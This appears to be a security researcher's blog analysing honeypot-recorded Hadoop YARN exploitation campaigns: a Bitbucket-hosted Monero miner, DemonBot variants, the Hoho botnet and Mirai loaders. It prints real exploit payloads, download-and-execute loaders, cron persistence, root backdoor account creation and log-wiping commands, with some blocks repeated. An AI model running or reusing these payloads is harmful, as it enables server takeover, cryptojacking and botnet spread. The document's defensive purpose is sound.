These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
            "url": "stratum+tcp://",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null

From the configuration file we find the pool wallet address:


The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo:
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘’ script downloads in its turn several binaries in a typical IoT loader kind of way:

$ cat 
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:

$ strings YSDKOP.i586
Sending TCP Packets To: %s:%d for %d seconds

This is an unaltered DemonBot hiding behind a random name YSDKOP.

106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
n="Supra.x86 Supra.x86_64"
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
for dir in $dirs
    >$dir.file && cd $dir
for i in $n
    cp $SHELL $i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
GCC: (GNU) 4.2.1   

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:


The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:     /etc/dropbear
UNKNOWN:   /etc/opkg
Dropbear:      /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"} 

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.
$ cat
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O | wget -q ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL -o /tmp/.ha/nsyhs

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q -O /tmp/.ha/nsyhs

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs 
$ cat .o
cd /boot ; wget -q -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s -j DROP
iptables -A INPUT -s -j REJECT cd /boot ; wget -q -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O | wget -q ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL -o /tmp/.ha/nsyhs

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q -O /tmp/.ha/nsyhs

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs 
$ cat .i

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86
$ cat sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"

for arch in $binarys
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
	rm -rf $execname
$ wget 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
$ cat sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"

for arch in $binarys
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
	rm -rf $execname
$ wget 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:;

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as or, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) script

pkill -f donate
pkill -f proxkekman
pkill -f
pkill -f
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
